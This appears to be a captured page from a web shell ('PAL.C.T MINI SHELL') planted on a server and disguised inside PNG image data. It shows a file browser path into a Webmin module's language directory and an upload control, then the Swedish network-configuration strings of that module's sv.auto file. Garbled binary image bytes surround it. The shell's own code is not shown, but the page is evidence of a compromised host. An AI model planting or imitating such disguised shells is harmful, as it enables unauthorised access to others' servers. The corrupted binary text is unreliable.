‰php  IHDRwQ)Bæa pHYs  šœsRGBźÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ștw.“oàWpć§;—ł°QHZnwą`gaiJ’9Țˆ‰ŃÒ̟灙ûŸęÍaî=·nlŽ[ ÊšG܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îúž·y H†Ż@E7j­Í 1j+OF„–€‹Rg}Ü«‘;@’E™Öač±ùáÓ~ ÿj`Ùuû'ož> ÙjĘ-$˜_§q?ŸqžSXzG'ćóay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/libexec/webmin/net/lang/
upload
files >> //proc/self/root/usr/libexec/webmin/net/lang/sv.auto

index_apply=AnvÀnd konfigurering
index_applydesc=Klicka pÄ den hÀr knappen för att aktivera det aktuella grÀnssnittet för starttid och routing, som de normalt skulle vara efter en omstart. <b>Varning</b> - detta kan göra ditt system oÄtkomligt via nÀtverket och avbryta Ätkomsten till Webmin.
index_delete1=Avaktivera valda grÀnssnitt
index_delete2=Radera valda grÀnssnitt
index_delete3=Radera och tillÀmpa valda grÀnssnitt
index_apply2=AnvÀnd utvalda grÀnssnitt
index_vmin=Virtualmin
index_mode=NĂ€tverkskonfigurationstyp: $1 
index_mode_netplan=Netplan
index_mode_cygwin=Cygwin
index_mode_freebsd=FreeBSD
index_mode_macos=Mac OS
index_mode_netbsd=NetBSD
index_mode_openbsd=OpenBSD
index_mode_solaris=Solaris
index_mode_windows=Windows

ifcs_activedesc=GrÀnssnitt som listas i denna tabell Àr för nÀrvarande aktiva i systemet. I de flesta fall bör du redigera dem under fliken <b>Aktiverad vid start</b>.
ifcs_bootdesc=GrÀnssnitt som listas i denna tabell aktiveras nÀr systemet startar och kommer i allmÀnhet ocksÄ att vara aktivt nu.
ifcs_ip6=IPv6-adress
ifcs_desc=GrÀnssnittsbeskrivning
ifcs_radd=LĂ€gg till ett nytt adressintervall.
ifcs_badd=LĂ€gg till en ny bro.
ifcs_auto6=FrÄn IPv6-upptÀckten
ifcs_all=Alla grÀnssnitt
ifcs_ecannot=Du fÄr inte redigera nÀtverksgrÀnssnitt
ifcs_ecannot_this=Du fÄr inte redigera det hÀr nÀtverksgrÀnssnittet
ifcs_range=OmrÄde $1 
ifcs_static2=Statisk konfiguration
ifcs_static3=IPv6 aktiverad
ifcs_noaddress=Ingen adress konfigurerad
ifcs_nonetmask=Ingen
ifcs_mode=IPv4-adress
ifcs_mode6=IPv6-adresser
ifcs_address6=IPv6-adress
ifcs_netmask6=nÀtmask
ifcs_mode6a=IPv6-adresser
ifcs_none6=IPv6 inaktiverad
ifcs_link=NÀtverkslÀnksstatus
ifcs_linkyes=Ansluten
ifcs_linkno=OsammanhÀngande
ifcs_speed=GrÀnssnittshastighet
ifcs_duplex=, $1 duplex

aifc_evirtmin=Det virtuella grÀnssnittsnumret mÄste vara minst $1 
aifc_eclash=GrÀnssnittet $1 anvÀnder redan denna IP-adress
aifc_eaddress6=IPv6-adressen i rad $1 Àr inte giltig
aifc_enetmask6=IPv6-nÀtmask i rad $1 mÄste vara ett heltal mellan 1 och 128
aifc_eclash6=IPv6-adress i rad $1 anvÀnds redan av grÀnssnitt $2 
aifc_eaddresses6=Inga IPv6-adresser har angivits

bifc_act=Aktivera vid start?
bifc_dapply=Radera och applicera
bifc_err4=Det gick inte att inaktivera grÀnssnittet
bifc_capply=Skapa och applicera
bifc_eapply=Du kan inte aktivera ett grÀnssnitt som anvÀnder DHCP eller BOOTP
bifc_edhcpmain=DHCP kan endast aktiveras i det primÀra nÀtverksgrÀnssnittet
bifc_bridgeto=Anslut bron till grÀnssnittet
bifc_nobridge=&lt;Ingen&gt;
bifc_ebridgeto=Ett befintligt Ethernet-grÀnssnitt mÄste vÀljas för att den hÀr bron ska kunna anvÀndas
bifc_ebridgeto2=Det valda grÀnssnittet för bron fÄr inte ha nÄgon adress tilldelad
bifc_ebridge=Bridge-grÀnssnittet mÄste vara ett nummer
bifc_bridgestp=Spanning Tree Protocol
bifc_bridgefd=FramÄt försening
bifc_bridgewait=Försena för att bli tillgÀnglig
bifc_ebond=ObligationsgrÀnssnittet mÄste vara ett nummer

bonding_add=LÀgg till ett nytt bindningsgrÀnssnitt.
bonding_create=Skapa limningsgrÀnssnitt
bonding_teamparts=Teaming Partners
bonding_teampartsdesc=Separata partners med blanksteg t.ex. "eth2 eth4"
bonding_teammode=Teaming Mode
bonding_primary=PrimÀrt grÀnssnitt
bonding_primarydesc=Endast tillÀmpligt för lÀgena aktiv backup, balance-tlb eller balance-alb
bonding_miimon=Mii-Monitoring Interval
bonding_miimondesc=(LÀmna tomt för att inaktivera lÀnkövervakning)
bonding_updelay=Updelay
bonding_downdelay=Downdelay

vlan_add=LÀgg till Vlan taggat grÀnssnitt
vlan_physical=Fysisk enhet
vlan_id=Vlan ID
vlan_create=Skapa VLAN-grÀnssnitt

bridge_create=Skapa Bridge-grÀnssnitt

routes_now=Routingkonfiguration aktiverad nu
routes_default6=Standard IPv6-router
routes_default2=Standardrutter
routes_gateway6=IPv6 gateway
routes_edefault6='$1' Àr inte en giltig IPv6-standardruter
routes_type=Typ
routes_egateway6='$1' Àr inte en giltig IPv6-gateway
routes_defaults6=Standard IPv6-routrar
routes_ecannot=Du fÄr inte redigera routing och gateways
routes_script=Ytterligare routingskommandon
routes_etype='$1' Àr inte en giltig ruttyp
routes_any=NÄgra
routes_edefault2=Ogiltig standard gateway-adress $1 
routes_eclash=Endast en standardvÀg för vilket grÀnssnitt som helst kan definieras
routes_eclash6=Endast en standardvÀg för alla IPv6-grÀnssnitt kan definieras
routes_eclash2=Endast en standardrutt för $1 kan definieras
routes_none2=Ingen
routes_auto=Automatisk
routes_gwmetric=GrÀnssnittsmetrisk
routes_dest=Destination
routes_gw=Inkörsport
routes_iface=GrÀnssnitt
routes_def=Standardrutt
routes_def6=Standard IPv6-rutt
routes_active=Aktiva rutter
routes_nogw=Ingen
routes_delete=Radera valda rutter
routes_cheader=Skapa aktiv rutt
routes_cdest=Ruttdestination
routes_cdef=StandardvÀg
routes_cnetmask=NÀtmask för destination
routes_cvia=Rutt via
routes_ciface=NÀtverksgrÀnssnitt $1 
routes_cgw=Gateway $1 
routes_cerr=Det gick inte att skapa aktiv rutt
routes_ecdest=Saknad eller ogiltig destination IP-adress eller nÀtverk
routes_ecnetmask=Netmask saknas eller ogiltig
routes_ecgw=Saknad eller ogiltig gateway-adress
routes_derr=Det gick inte att ta bort rutter
routes_denone=Ingen vald
routes_ecnetmask2=En nÀtmask kan inte anges för standardvÀgen
routes_ggw=AnvÀnd router $1 via grÀnssnitt $2 
routes_tabboot=Starttidskonfiguration
routes_tabactive=Aktiv konfiguration
routes_descactive=Det hÀr avsnittet listar rutter som systemet för nÀrvarande har konfigurerat och lÄter dig lÀgga till eller ta bort aktiva rutter pÄ vissa system. Var noga med att göra detta, eftersom felaktiga Àndringar kan skÀra av systemet som kör Webmin frÄn resten av nÀtverket.
routes_descboot=Det hÀr avsnittet lÄter dig konfigurera rutter som aktiveras nÀr systemet startar upp eller nÀr nÀtverksinstÀllningarna tillÀmpas igen.

dns_ecannot=Du fÄr inte redigera DNS-klientinstÀllningar
dns_err=Det gick inte att spara DNS-konfiguration
dns_ehost='$1' Àr inte ett giltigt vÀrdnamn
dns_ens='$1' Àr inte en giltig namnserver-IP-adress
dns_edomain='$1' Àr inte ett giltigt domÀnnamn
dns_esearch=Inga domÀner att söka angivna
dns_hoststoo=Uppdatera vÀrdnamn i vÀrdadresser om det Àndras?
dns_dhcp=VÀrdnamn stÀlls in av DHCP-servern?

hosts_active=Aktiverad?
hosts_ecannot=Du fÄr inte redigera vÀrdadresser
hosts_delete=Radera valda vÀrdadresser

ipnodes_title=IPv6-vÀrdadresser
ipnodes_ip=IPv6-adress
ipnodes_host=VĂ€rdnamn
ipnodes_add=LÀgg till en ny IPv6-vÀrdadress.
ipnodes_edit=Redigera IPv6-vÀrdadress
ipnodes_create=Skapa IPv6-vÀrdadress
ipnodes_detail=VĂ€rd och adresser
ipnodes_return=IPv6-vÀrdadresslista
ipnodes_ecannot=Du fÄr inte redigera IPv6-vÀrdadresser
ipnodes_none=Inga IPv6-vÀrdadresser har definierats Àn.
ipnodes_delete=Radera valda IPv6-vÀrdadresser

log_create_ipnode=Skapad IPv6-vÀrdadress $1 
log_delete_ipnode=Raderad IPv6-vÀrdadress $1 
log_modify_ipnode=Modifierad IPv6-vÀrdadress $1 
log_delete_hosts=$1 vÀrdadresser har raderats
log_delete_ipnodes=Raderade $1 IPv6-vÀrdadresser
log_delete_afics=Ta bort $1 aktiva grÀnssnitt
log_delete_bfics=Ta bort $1 starttidgrÀnssnitt
log_apply_bfics=Aktiverade $1 starttidgrÀnssnitt
log_create_route=Skapade aktiv rutt för $1 
log_create_defroute=Skapade aktiv standardvÀg
log_delete_routes=$1 aktiva rutter raderade

acl_ifcs=Kan redigera nÀtverksgrÀnssnitt?
acl_routes=Kan redigera routing och gateways?
acl_dns=Kan redigera DNS-klientinstÀllningar?
acl_hosts=Kan redigera vÀrdadresser?
acl_view=Titta enbart
acl_ifcs_only=Endast grÀnssnitt
acl_ifcs_ex=GrÀnssnitt utom
acl_apply=Kan tillÀmpas konfiguration?
acl_bootonly=Kan redigera aktiva grÀnssnitt?
acl_netmask=Kan redigera netmask?
acl_broadcast=Kan redigera sÀndning?
acl_mtu=Kan redigera MTU?
acl_up=Kan redigera aktivt tillstÄnd?
acl_virt=Kan lÀggas till virtuella grÀnssnitt?
acl_delete=Kan ta bort grÀnssnitt?
acl_hide=Dölja grÀnssnitt som inte kan redigeras?
acl_sysinfo=Visa tillgÀngliga nÀtverksgrÀnssnitt pÄ instrumentpanelen

interfaces_title1=VÀlj grÀnssnitt. ..
interfaces_all=Alla grÀnssnitt. ..
interfaces_sel=Valda grÀnssnitt
interfaces_ok=OK
interfaces_cancel=Annullera
interfaces_clear=Klar
interfaces_title2=VÀlj anvÀndare. ..

apply_ecannot=Du fÄr inte tillÀmpa konfigurationen

mod_egone=GrÀnssnittet Àr inte lÀngre aktivt!
mod_title=Aktivt grÀnssnitt
mod_desc=GrÀnssnittet $1 anvÀnds för $2 och kan dÀrför inte hanteras med den hÀr modulen.
mod_link=Men du kan anvÀnda modulen <a href='$1'>$2</a> för att hantera den istÀllet.
mod_ppp=en PPP-uppringningsanslutning till $1 
mod_adsl=en ADSL PPP-anslutning
mod_pptps=en PPTP-anslutning frÄn klient $1 
mod_pptpc=PPTP-anslutningen $1 
mod_zones=ett virtuellt grÀnssnitt för zon <tt>$1</tt>
mod_virtualmin=Virtualmin-servern <tt>$1</tt>
mod_reseller=Virtualmin-ÄterförsÀljaren <tt>$1</tt>

range_edit=Redigera adressintervall
range_create=Skapa adressintervall
range_header=Alternativ för adressintervall
range_start=Startadress
range_end=Avslutar adress
range_num=Första virtuella grÀnssnittet nr.
range_iface=Riktigt grÀnssnitt
range_name=OmrÄdesnamn
range_err=Det gick inte att spara adressintervallet
range_ename=Saknat eller ogiltigt intervallnamn
range_estart=IP-adress saknas eller ogiltig
range_eend=IP-adress saknas eller ogiltig
range_enum=Det första virtuella grÀnssnittsnumret saknas eller ej
range_eclass=Start- och slutadresser mÄste vara i samma klass C-nÀtverk
range_ebefore=Slutadressen mÄste vara högre Àn startadressen

chooser_any=&lt;Any&gt;
chooser_other=Övrig ..

dafics_err=Det gick inte att avaktivera grÀnssnitt
daifcs_enone=Ingen vald
daifcs_egone=GrÀnssnittet finns inte lÀngre!

dbifcs_err=Det gick inte att ta bort grÀnssnitt
dbifcs_err2=Det gick inte att aktivera grÀnssnitten

hdelete_err=Det gick inte att ta bort vÀrdadresser
hdelete_enone=Ingen vald
idelete_err=Det gick inte att ta bort IPv6-vÀrdadresser
ß yôÊáœ~ŒorÀ5ÖJ™={țÁEÇêeŸu磝Qkź•áݘG{ś?ù»ă+—]üôçƒÉÍŚŚŸô?wûM3X^¶Ú歌>{Ž7ÙŸìŽKă>èoČÎnĘ\ÿȘÊjży·đR Łőăg/î=ȚÿfúOçÖr·oŚNVÊvżú~ÿY+üżNGêuśű·Ăź›țëčHWŠûyëwÆ[eQ¶ÊšŸSÚb­Ö>öÍËÇțł>ä}Gçmx[o[<ȚÚ{đęŸÏź_ĆïqF– ÚÛvMIENDźB`‚